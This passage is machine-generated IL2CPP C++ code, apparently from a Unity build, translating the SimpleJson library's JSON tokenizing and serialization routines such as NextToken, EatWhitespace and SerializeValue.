SimpleJson_EatWhitespace_m481181633(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); CharU5BU5D_t1328083999* L_2 = ___json0; int32_t* L_3 = ___index1; int32_t L_4 = SimpleJson_GetLastIndexOfNumber_m3446027218(NULL /*static, unused*/, L_2, (*((int32_t*)L_3)), /*hidden argument*/NULL); V_0 = L_4; int32_t L_5 = V_0; int32_t* L_6 = ___index1; V_1 = ((int32_t)((int32_t)((int32_t)((int32_t)L_5-(int32_t)(*((int32_t*)L_6))))+(int32_t)1)); CharU5BU5D_t1328083999* L_7 = ___json0; int32_t* L_8 = ___index1; int32_t L_9 = V_1; String_t* L_10 = String_CreateString_m2448464375(NULL, L_7, (*((int32_t*)L_8)), L_9, /*hidden argument*/NULL); V_3 = L_10; String_t* L_11 = V_3; NullCheck(L_11); int32_t L_12 = String_IndexOf_m570401060(L_11, _stringLiteral372029316, 5, /*hidden argument*/NULL); if ((!(((uint32_t)L_12) == ((uint32_t)(-1))))) { goto IL_0046; } } { String_t* L_13 = V_3; NullCheck(L_13); int32_t L_14 = String_IndexOf_m570401060(L_13, _stringLiteral372029369, 5, /*hidden argument*/NULL); if ((((int32_t)L_14) == ((int32_t)(-1)))) { goto IL_0071; } } IL_0046: { bool* L_15 = ___success2; CharU5BU5D_t1328083999* L_16 = ___json0; int32_t* L_17 = ___index1; int32_t L_18 = V_1; String_t* L_19 = String_CreateString_m2448464375(NULL, L_16, (*((int32_t*)L_17)), L_18, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_20 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); bool L_21 = Double_TryParse_m815528105(NULL /*static, unused*/, L_19, ((int32_t)511), L_20, (&V_4), /*hidden argument*/NULL); *((int8_t*)(L_15)) = (int8_t)L_21; double L_22 = V_4; double L_23 = L_22; Il2CppObject * L_24 = Box(Double_t4078015681_il2cpp_TypeInfo_var, &L_23); V_2 = L_24; goto IL_0097; } IL_0071: { bool* L_25 = ___success2; CharU5BU5D_t1328083999* L_26 = ___json0; int32_t* L_27 = ___index1; int32_t L_28 = V_1; String_t* L_29 = String_CreateString_m2448464375(NULL, L_26, (*((int32_t*)L_27)), L_28, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_30 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); bool L_31 = Int64_TryParse_m3093198325(NULL /*static, unused*/, L_29, ((int32_t)511), L_30, (&V_5), /*hidden argument*/NULL); *((int8_t*)(L_25)) = (int8_t)L_31; int64_t L_32 = V_5; int64_t L_33 = L_32; Il2CppObject * L_34 = Box(Int64_t909078037_il2cpp_TypeInfo_var, &L_33); V_2 = L_34; } IL_0097: { int32_t* L_35 = ___index1; int32_t L_36 = V_0; *((int32_t*)(L_35)) = (int32_t)((int32_t)((int32_t)L_36+(int32_t)1)); Il2CppObject * L_37 = V_2; V_6 = L_37; goto IL_00a4; } IL_00a4: { Il2CppObject * L_38 = V_6; return L_38; } } // System.Int32 SimpleJson.SimpleJson::GetLastIndexOfNumber(System.Char[],System.Int32) extern "C" int32_t SimpleJson_GetLastIndexOfNumber_m3446027218 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t ___index1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_GetLastIndexOfNumber_m3446027218_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; { int32_t L_0 = ___index1; V_0 = L_0; goto IL_0024; } IL_0008: { CharU5BU5D_t1328083999* L_1 = ___json0; int32_t L_2 = V_0; NullCheck(L_1); int32_t L_3 = L_2; uint16_t L_4 = (L_1)->GetAt(static_cast(L_3)); NullCheck(_stringLiteral4282166785); int32_t L_5 = String_IndexOf_m2358239236(_stringLiteral4282166785, L_4, /*hidden argument*/NULL); if ((!(((uint32_t)L_5) == ((uint32_t)(-1))))) { goto IL_0020; } } { goto IL_002d; } IL_0020: { int32_t L_6 = V_0; V_0 = ((int32_t)((int32_t)L_6+(int32_t)1)); } IL_0024: { int32_t L_7 = V_0; CharU5BU5D_t1328083999* L_8 = ___json0; NullCheck(L_8); if ((((int32_t)L_7) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_8)->max_length))))))) { goto IL_0008; } } IL_002d: { int32_t L_9 = V_0; V_1 = ((int32_t)((int32_t)L_9-(int32_t)1)); goto IL_0036; } IL_0036: { int32_t L_10 = V_1; return L_10; } } // System.Void SimpleJson.SimpleJson::EatWhitespace(System.Char[],System.Int32&) extern "C" void SimpleJson_EatWhitespace_m481181633 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_EatWhitespace_m481181633_MetadataUsageId); s_Il2CppMethodInitialized = true; } { goto IL_0025; } IL_0006: { CharU5BU5D_t1328083999* L_0 = ___json0; int32_t* L_1 = ___index1; NullCheck(L_0); int32_t L_2 = (*((int32_t*)L_1)); uint16_t L_3 = (L_0)->GetAt(static_cast(L_2)); NullCheck(_stringLiteral96257128); int32_t L_4 = String_IndexOf_m2358239236(_stringLiteral96257128, L_3, /*hidden argument*/NULL); if ((!(((uint32_t)L_4) == ((uint32_t)(-1))))) { goto IL_001f; } } { goto IL_002f; } IL_001f: { int32_t* L_5 = ___index1; int32_t* L_6 = ___index1; *((int32_t*)(L_5)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_6))+(int32_t)1)); } IL_0025: { int32_t* L_7 = ___index1; CharU5BU5D_t1328083999* L_8 = ___json0; NullCheck(L_8); if ((((int32_t)(*((int32_t*)L_7))) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_8)->max_length))))))) { goto IL_0006; } } IL_002f: { return; } } // System.Int32 SimpleJson.SimpleJson::LookAhead(System.Char[],System.Int32) extern "C" int32_t SimpleJson_LookAhead_m2426341548 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t ___index1, const MethodInfo* method) { int32_t V_0 = 0; int32_t V_1 = 0; { int32_t L_0 = ___index1; V_0 = L_0; CharU5BU5D_t1328083999* L_1 = ___json0; int32_t L_2 = SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_1, (&V_0), /*hidden argument*/NULL); V_1 = L_2; goto IL_0011; } IL_0011: { int32_t L_3 = V_1; return L_3; } } // System.Int32 SimpleJson.SimpleJson::NextToken(System.Char[],System.Int32&) extern "C" int32_t SimpleJson_NextToken_m3906376762 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, const MethodInfo* method) { int32_t V_0 = 0; Il2CppChar V_1 = 0x0; int32_t V_2 = 0; { CharU5BU5D_t1328083999* L_0 = ___json0; int32_t* L_1 = ___index1; SimpleJson_EatWhitespace_m481181633(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); int32_t* L_2 = ___index1; CharU5BU5D_t1328083999* L_3 = ___json0; NullCheck(L_3); if ((!(((uint32_t)(*((int32_t*)L_2))) == ((uint32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_3)->max_length)))))))) { goto IL_0019; } } { V_0 = 0; goto IL_01d7; } IL_0019: { CharU5BU5D_t1328083999* L_4 = ___json0; int32_t* L_5 = ___index1; NullCheck(L_4); int32_t L_6 = (*((int32_t*)L_5)); uint16_t L_7 = (L_4)->GetAt(static_cast(L_6)); V_1 = L_7; int32_t* L_8 = ___index1; int32_t* L_9 = ___index1; *((int32_t*)(L_8)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_9))+(int32_t)1)); Il2CppChar L_10 = V_1; if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 0) { goto IL_00bc; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 1) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 2) { goto IL_0069; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 3) { goto IL_0069; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 4) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 5) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 6) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 7) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 8) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 9) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 10) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 11) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 12) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 13) { goto IL_00ca; } if (((int32_t)((int32_t)L_10-(int32_t)((int32_t)44))) == 14) { goto IL_00d1; } } IL_0069: { Il2CppChar L_11 = V_1; if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)91))) == 0) { goto IL_00ae; } if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)91))) == 1) { goto IL_007e; } if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)91))) == 2) { goto IL_00b5; } } IL_007e: { Il2CppChar L_12 = V_1; if (((int32_t)((int32_t)L_12-(int32_t)((int32_t)123))) == 0) { goto IL_00a0; } if (((int32_t)((int32_t)L_12-(int32_t)((int32_t)123))) == 1) { goto IL_0093; } if (((int32_t)((int32_t)L_12-(int32_t)((int32_t)123))) == 2) { goto IL_00a7; } } IL_0093: { Il2CppChar L_13 = V_1; if ((((int32_t)L_13) == ((int32_t)((int32_t)34)))) { goto IL_00c3; } } { goto IL_00d8; } IL_00a0: { V_0 = 1; goto IL_01d7; } IL_00a7: { V_0 = 2; goto IL_01d7; } IL_00ae: { V_0 = 3; goto IL_01d7; } IL_00b5: { V_0 = 4; goto IL_01d7; } IL_00bc: { V_0 = 6; goto IL_01d7; } IL_00c3: { V_0 = 7; goto IL_01d7; } IL_00ca: { V_0 = 8; goto IL_01d7; } IL_00d1: { V_0 = 5; goto IL_01d7; } IL_00d8: { int32_t* L_14 = ___index1; int32_t* L_15 = ___index1; *((int32_t*)(L_14)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_15))-(int32_t)1)); CharU5BU5D_t1328083999* L_16 = ___json0; NullCheck(L_16); int32_t* L_17 = ___index1; V_2 = ((int32_t)((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_16)->max_length))))-(int32_t)(*((int32_t*)L_17)))); int32_t L_18 = V_2; if ((((int32_t)L_18) < ((int32_t)5))) { goto IL_013c; } } { CharU5BU5D_t1328083999* L_19 = ___json0; int32_t* L_20 = ___index1; NullCheck(L_19); int32_t L_21 = (*((int32_t*)L_20)); uint16_t L_22 = (L_19)->GetAt(static_cast(L_21)); if ((!(((uint32_t)L_22) == ((uint32_t)((int32_t)102))))) { goto IL_013b; } } { CharU5BU5D_t1328083999* L_23 = ___json0; int32_t* L_24 = ___index1; NullCheck(L_23); int32_t L_25 = ((int32_t)((int32_t)(*((int32_t*)L_24))+(int32_t)1)); uint16_t L_26 = (L_23)->GetAt(static_cast(L_25)); if ((!(((uint32_t)L_26) == ((uint32_t)((int32_t)97))))) { goto IL_013b; } } { CharU5BU5D_t1328083999* L_27 = ___json0; int32_t* L_28 = ___index1; NullCheck(L_27); int32_t L_29 = ((int32_t)((int32_t)(*((int32_t*)L_28))+(int32_t)2)); uint16_t L_30 = (L_27)->GetAt(static_cast(L_29)); if ((!(((uint32_t)L_30) == ((uint32_t)((int32_t)108))))) { goto IL_013b; } } { CharU5BU5D_t1328083999* L_31 = ___json0; int32_t* L_32 = ___index1; NullCheck(L_31); int32_t L_33 = ((int32_t)((int32_t)(*((int32_t*)L_32))+(int32_t)3)); uint16_t L_34 = (L_31)->GetAt(static_cast(L_33)); if ((!(((uint32_t)L_34) == ((uint32_t)((int32_t)115))))) { goto IL_013b; } } { CharU5BU5D_t1328083999* L_35 = ___json0; int32_t* L_36 = ___index1; NullCheck(L_35); int32_t L_37 = ((int32_t)((int32_t)(*((int32_t*)L_36))+(int32_t)4)); uint16_t L_38 = (L_35)->GetAt(static_cast(L_37)); if ((!(((uint32_t)L_38) == ((uint32_t)((int32_t)101))))) { goto IL_013b; } } { int32_t* L_39 = ___index1; int32_t* L_40 = ___index1; *((int32_t*)(L_39)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_40))+(int32_t)5)); V_0 = ((int32_t)10); goto IL_01d7; } IL_013b: { } IL_013c: { int32_t L_41 = V_2; if ((((int32_t)L_41) < ((int32_t)4))) { goto IL_0186; } } { CharU5BU5D_t1328083999* L_42 = ___json0; int32_t* L_43 = ___index1; NullCheck(L_42); int32_t L_44 = (*((int32_t*)L_43)); uint16_t L_45 = (L_42)->GetAt(static_cast(L_44)); if ((!(((uint32_t)L_45) == ((uint32_t)((int32_t)116))))) { goto IL_0185; } } { CharU5BU5D_t1328083999* L_46 = ___json0; int32_t* L_47 = ___index1; NullCheck(L_46); int32_t L_48 = ((int32_t)((int32_t)(*((int32_t*)L_47))+(int32_t)1)); uint16_t L_49 = (L_46)->GetAt(static_cast(L_48)); if ((!(((uint32_t)L_49) == ((uint32_t)((int32_t)114))))) { goto IL_0185; } } { CharU5BU5D_t1328083999* L_50 = ___json0; int32_t* L_51 = ___index1; NullCheck(L_50); int32_t L_52 = ((int32_t)((int32_t)(*((int32_t*)L_51))+(int32_t)2)); uint16_t L_53 = (L_50)->GetAt(static_cast(L_52)); if ((!(((uint32_t)L_53) == ((uint32_t)((int32_t)117))))) { goto IL_0185; } } { CharU5BU5D_t1328083999* L_54 = ___json0; int32_t* L_55 = ___index1; NullCheck(L_54); int32_t L_56 = ((int32_t)((int32_t)(*((int32_t*)L_55))+(int32_t)3)); uint16_t L_57 = (L_54)->GetAt(static_cast(L_56)); if ((!(((uint32_t)L_57) == ((uint32_t)((int32_t)101))))) { goto IL_0185; } } { int32_t* L_58 = ___index1; int32_t* L_59 = ___index1; *((int32_t*)(L_58)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_59))+(int32_t)4)); V_0 = ((int32_t)9); goto IL_01d7; } IL_0185: { } IL_0186: { int32_t L_60 = V_2; if ((((int32_t)L_60) < ((int32_t)4))) { goto IL_01d0; } } { CharU5BU5D_t1328083999* L_61 = ___json0; int32_t* L_62 = ___index1; NullCheck(L_61); int32_t L_63 = (*((int32_t*)L_62)); uint16_t L_64 = (L_61)->GetAt(static_cast(L_63)); if ((!(((uint32_t)L_64) == ((uint32_t)((int32_t)110))))) { goto IL_01cf; } } { CharU5BU5D_t1328083999* L_65 = ___json0; int32_t* L_66 = ___index1; NullCheck(L_65); int32_t L_67 = ((int32_t)((int32_t)(*((int32_t*)L_66))+(int32_t)1)); uint16_t L_68 = (L_65)->GetAt(static_cast(L_67)); if ((!(((uint32_t)L_68) == ((uint32_t)((int32_t)117))))) { goto IL_01cf; } } { CharU5BU5D_t1328083999* L_69 = ___json0; int32_t* L_70 = ___index1; NullCheck(L_69); int32_t L_71 = ((int32_t)((int32_t)(*((int32_t*)L_70))+(int32_t)2)); uint16_t L_72 = (L_69)->GetAt(static_cast(L_71)); if ((!(((uint32_t)L_72) == ((uint32_t)((int32_t)108))))) { goto IL_01cf; } } { CharU5BU5D_t1328083999* L_73 = ___json0; int32_t* L_74 = ___index1; NullCheck(L_73); int32_t L_75 = ((int32_t)((int32_t)(*((int32_t*)L_74))+(int32_t)3)); uint16_t L_76 = (L_73)->GetAt(static_cast(L_75)); if ((!(((uint32_t)L_76) == ((uint32_t)((int32_t)108))))) { goto IL_01cf; } } { int32_t* L_77 = ___index1; int32_t* L_78 = ___index1; *((int32_t*)(L_77)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_78))+(int32_t)4)); V_0 = ((int32_t)11); goto IL_01d7; } IL_01cf: { } IL_01d0: { V_0 = 0; goto IL_01d7; } IL_01d7: { int32_t L_79 = V_0; return L_79; } } // System.Boolean SimpleJson.SimpleJson::SerializeValue(SimpleJson.IJsonSerializerStrategy,System.Object,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeValue_m2700795577 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___value1, StringBuilder_t1221177846 * ___builder2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeValue_m2700795577_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; String_t* V_1 = NULL; Il2CppObject* V_2 = NULL; Il2CppObject* V_3 = NULL; Il2CppObject * V_4 = NULL; Il2CppObject * V_5 = NULL; bool V_6 = false; StringBuilder_t1221177846 * G_B13_0 = NULL; StringBuilder_t1221177846 * G_B12_0 = NULL; String_t* G_B14_0 = NULL; StringBuilder_t1221177846 * G_B14_1 = NULL; { V_0 = (bool)1; Il2CppObject * L_0 = ___value1; V_1 = ((String_t*)IsInstSealed(L_0, String_t_il2cpp_TypeInfo_var)); String_t* L_1 = V_1; if (!L_1) { goto IL_001d; } } { String_t* L_2 = V_1; StringBuilder_t1221177846 * L_3 = ___builder2; bool L_4 = SimpleJson_SerializeString_m1750369917(NULL /*static, unused*/, L_2, L_3, /*hidden argument*/NULL); V_0 = L_4; goto IL_010d; } IL_001d: { Il2CppObject * L_5 = ___value1; V_2 = ((Il2CppObject*)IsInst(L_5, IDictionary_2_t2603311978_il2cpp_TypeInfo_var)); Il2CppObject* L_6 = V_2; if (!L_6) { goto IL_0046; } } { Il2CppObject * L_7 = ___jsonSerializerStrategy0; Il2CppObject* L_8 = V_2; NullCheck(L_8); Il2CppObject* L_9 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(4 /* System.Collections.Generic.ICollection`1 System.Collections.Generic.IDictionary`2::get_Keys() */, IDictionary_2_t2603311978_il2cpp_TypeInfo_var, L_8); Il2CppObject* L_10 = V_2; NullCheck(L_10); Il2CppObject* L_11 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(5 /* System.Collections.Generic.ICollection`1 System.Collections.Generic.IDictionary`2::get_Values() */, IDictionary_2_t2603311978_il2cpp_TypeInfo_var, L_10); StringBuilder_t1221177846 * L_12 = ___builder2; bool L_13 = SimpleJson_SerializeObject_m3504199269(NULL /*static, unused*/, L_7, L_9, L_11, L_12, /*hidden argument*/NULL); V_0 = L_13; goto IL_010c; } IL_0046: { Il2CppObject * L_14 = ___value1; V_3 = ((Il2CppObject*)IsInst(L_14, IDictionary_2_t1943082916_il2cpp_TypeInfo_var)); Il2CppObject* L_15 = V_3; if (!L_15) { goto IL_006f; } } { Il2CppObject * L_16 = ___jsonSerializerStrategy0; Il2CppObject* L_17 = V_3; NullCheck(L_17); Il2CppObject* L_18 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(4 /* System.Collections.Generic.ICollection`1 System.Collections.Generic.IDictionary`2::get_Keys() */, IDictionary_2_t1943082916_il2cpp_TypeInfo_var, L_17); Il2CppObject* L_19 = V_3; NullCheck(L_19); Il2CppObject* L_20 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(5 /* System.Collections.Generic.ICollection`1 System.Collections.Generic.IDictionary`2::get_Values() */, IDictionary_2_t1943082916_il2cpp_TypeInfo_var, L_19); StringBuilder_t1221177846 * L_21 = ___builder2; bool L_22 = SimpleJson_SerializeObject_m3504199269(NULL /*static, unused*/, L_16, L_18, L_20, L_21, /*hidden argument*/NULL); V_0 = L_22; goto IL_010b; } IL_006f: { Il2CppObject * L_23 = ___value1; V_4 = ((Il2CppObject *)IsInst(L_23, IEnumerable_t2911409499_il2cpp_TypeInfo_var)); Il2CppObject * L_24 = V_4; if (!L_24) { goto IL_008e; } } { Il2CppObject * L_25 = ___jsonSerializerStrategy0; Il2CppObject * L_26 = V_4; StringBuilder_t1221177846 * L_27 = ___builder2; bool L_28 = SimpleJson_SerializeArray_m779157756(NULL /*static, unused*/, L_25, L_26, L_27, /*hidden argument*/NULL); V_0 = L_28; goto IL_010a; } IL_008e: { Il2CppObject * L_29 = ___value1; bool L_30 = SimpleJson_IsNumeric_m810085359(NULL /*static, unused*/, L_29, /*hidden argument*/NULL); if (!L_30) { goto IL_00a6; } } { Il2CppObject * L_31 = ___value1; StringBuilder_t1221177846 * L_32 = ___builder2; bool L_33 = SimpleJson_SerializeNumber_m1195210771(NULL /*static, unused*/, L_31, L_32, /*hidden argument*/NULL); V_0 = L_33; goto IL_010a; } IL_00a6: { Il2CppObject * L_34 = ___value1; if (!((Il2CppObject *)IsInstSealed(L_34, Boolean_t3825574718_il2cpp_TypeInfo_var))) { goto IL_00d7; } } { StringBuilder_t1221177846 * L_35 = ___builder2; Il2CppObject * L_36 = ___value1; G_B12_0 = L_35; if (!((*(bool*)((bool*)UnBox(L_36, Boolean_t3825574718_il2cpp_TypeInfo_var))))) { G_B13_0 = L_35; goto IL_00c7; } } { G_B14_0 = _stringLiteral3323263070; G_B14_1 = G_B12_0; goto IL_00cc; } IL_00c7: { G_B14_0 = _stringLiteral2609877245; G_B14_1 = G_B13_0; } IL_00cc: { NullCheck(G_B14_1); StringBuilder_Append_m3636508479(G_B14_1, G_B14_0, /*hidden argument*/NULL); goto IL_010a; } IL_00d7: { Il2CppObject * L_37 = ___value1; if (L_37) { goto IL_00ee; } } { StringBuilder_t1221177846 * L_38 = ___builder2; NullCheck(L_38); StringBuilder_Append_m3636508479(L_38, _stringLiteral1743624307, /*hidden argument*/NULL); goto IL_010a; } IL_00ee: { Il2CppObject * L_39 = ___jsonSerializerStrategy0; Il2CppObject * L_40 = ___value1; NullCheck(L_39); bool L_41 = InterfaceFuncInvoker2< bool, Il2CppObject *, Il2CppObject ** >::Invoke(0 /* System.Boolean SimpleJson.IJsonSerializerStrategy::TrySerializeNonPrimitiveObject(System.Object,System.Object&) */, IJsonSerializerStrategy_t209712766_il2cpp_TypeInfo_var, L_39, L_40, (&V_5)); V_0 = L_41; bool L_42 = V_0; if (!L_42) { goto IL_0109; } } { Il2CppObject * L_43 = ___jsonSerializerStrategy0; Il2CppObject * L_44 = V_5; StringBuilder_t1221177846 * L_45 = ___builder2; SimpleJson_SerializeValue_m2700795577(NULL /*static, unused*/, L_43, L_44, L_45, /*hidden argument*/NULL); } IL_0109: { } IL_010a: { } IL_010b: { } IL_010c: { } IL_010d: { bool L_46 = V_0; V_6 = L_46; goto IL_0115; } IL_0115: { bool L_47 = V_6; return L_47; } } // System.Boolean SimpleJson.SimpleJson::SerializeObject(SimpleJson.IJsonSerializerStrategy,System.Collections.IEnumerable,System.Collections.IEnumerable,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeObject_m3504199269 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___keys1, Il2CppObject * ___values2, StringBuilder_t1221177846 * ___builder3, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeObject_m3504199269_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; Il2CppObject * V_1 = NULL; bool V_2 = false; Il2CppObject * V_3 = NULL; Il2CppObject * V_4 = NULL; String_t* V_5 = NULL; bool V_6 = false; { StringBuilder_t1221177846 * L_0 = ___builder3; NullCheck(L_0); StringBuilder_Append_m3636508479(L_0, _stringLiteral372029399, /*hidden argument*/NULL); Il2CppObject * L_1 = ___keys1; NullCheck(L_1); Il2CppObject * L_2 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Collections.IEnumerator System.Collections.IEnumerable::GetEnumerator() */, IEnumerable_t2911409499_il2cpp_TypeInfo_var, L_1); V_0 = L_2; Il2CppObject * L_3 = ___values2; NullCheck(L_3); Il2CppObject * L_4 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Collections.IEnumerator System.Collections.IEnumerable::GetEnumerator() */, IEnumerable_t2911409499_il2cpp_TypeInfo_var, L_3); V_1 = L_4; V_2 = (bool)1; goto IL_009c; } IL_0022: { Il2CppObject * L_5 = V_0; NullCheck(L_5); Il2CppObject * L_6 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Object System.Collections.IEnumerator::get_Current() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_5); V_3 = L_6; Il2CppObject * L_7 = V_1; NullCheck(L_7); Il2CppObject * L_8 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Object System.Collections.IEnumerator::get_Current() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_7); V_4 = L_8; bool L_9 = V_2; if (L_9) { goto IL_0044; } } { StringBuilder_t1221177846 * L_10 = ___builder3; NullCheck(L_10); StringBuilder_Append_m3636508479(L_10, _stringLiteral372029314, /*hidden argument*/NULL); } IL_0044: { Il2CppObject * L_11 = V_3; V_5 = ((String_t*)IsInstSealed(L_11, String_t_il2cpp_TypeInfo_var)); String_t* L_12 = V_5; if (!L_12) { goto IL_0061; } } { String_t* L_13 = V_5; StringBuilder_t1221177846 * L_14 = ___builder3; SimpleJson_SerializeString_m1750369917(NULL /*static, unused*/, L_13, L_14, /*hidden argument*/NULL); goto IL_0077; } IL_0061: { Il2CppObject * L_15 = ___jsonSerializerStrategy0; Il2CppObject * L_16 = V_4; StringBuilder_t1221177846 * L_17 = ___builder3; bool L_18 = SimpleJson_SerializeValue_m2700795577(NULL /*static, unused*/, L_15, L_16, L_17, /*hidden argument*/NULL); if (L_18) { goto IL_0077; } } { V_6 = (bool)0; goto IL_00c6; } IL_0077: { StringBuilder_t1221177846 * L_19 = ___builder3; NullCheck(L_19); StringBuilder_Append_m3636508479(L_19, _stringLiteral372029336, /*hidden argument*/NULL); Il2CppObject * L_20 = ___jsonSerializerStrategy0; Il2CppObject * L_21 = V_4; StringBuilder_t1221177846 * L_22 = ___builder3; bool L_23 = SimpleJson_SerializeValue_m2700795577(NULL /*static, unused*/, L_20, L_21, L_22, /*hidden argument*/NULL); if (L_23) { goto IL_0099; } } { V_6 = (bool)0; goto IL_00c6; } IL_0099: { V_2 = (bool)0; } IL_009c: { Il2CppObject * L_24 = V_0; NullCheck(L_24); bool L_25 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_24); if (!L_25) { goto IL_00b2; } } { Il2CppObject * L_26 = V_1; NullCheck(L_26); bool L_27 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_26); if (L_27) { goto IL_0022; } } IL_00b2: { StringBuilder_t1221177846 * L_28 = ___builder3; NullCheck(L_28); StringBuilder_Append_m3636508479(L_28, _stringLiteral372029393, /*hidden argument*/NULL); V_6 = (bool)1; goto IL_00c6; } IL_00c6: { bool L_29 = V_6; return L_29; } } // System.Boolean SimpleJson.SimpleJson::SerializeArray(SimpleJson.IJsonSerializerStrategy,System.Collections.IEnumerable,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeArray_m779157756 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___anArray1, StringBuilder_t1221177846 * ___builder2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeArray_m779157756_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; Il2CppObject * V_1 = NULL; Il2CppObject * V_2 = NULL; bool V_3 = false; Il2CppObject * V_4 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { StringBuilder_t1221177846 * L_0 = ___builder2; NullCheck(L_0); StringBuilder_Append_m3636508479(L_0, _stringLiteral372029431, /*hidden argument*/NULL); V_0 = (bool)1; Il2CppObject * L_1 = ___anArray1; NullCheck(L_1); Il2CppObject * L_2 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Collections.IEnumerator System.Collections.IEnumerable::GetEnumerator() */, IEnumerable_t2911409499_il2cpp_TypeInfo_var, L_1); V_2 = L_2; } IL_0017: try { // begin try (depth: 1) { goto IL_004d; } IL_001c: { Il2CppObject * L_3 = V_2; NullCheck(L_3); Il2CppObject * L_4 = InterfaceFuncInvoker0< Il2CppObject * >::Invoke(0 /* System.Object System.Collections.IEnumerator::get_Current() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_3); V_1 = L_4; bool L_5 = V_0; if (L_5) { goto IL_0036; } } IL_002a: { StringBuilder_t1221177846 * L_6 = ___builder2; NullCheck(L_6); StringBuilder_Append_m3636508479(L_6, _stringLiteral372029314, /*hidden argument*/NULL); } IL_0036: { Il2CppObject * L_7 = ___jsonSerializerStrategy0; Il2CppObject * 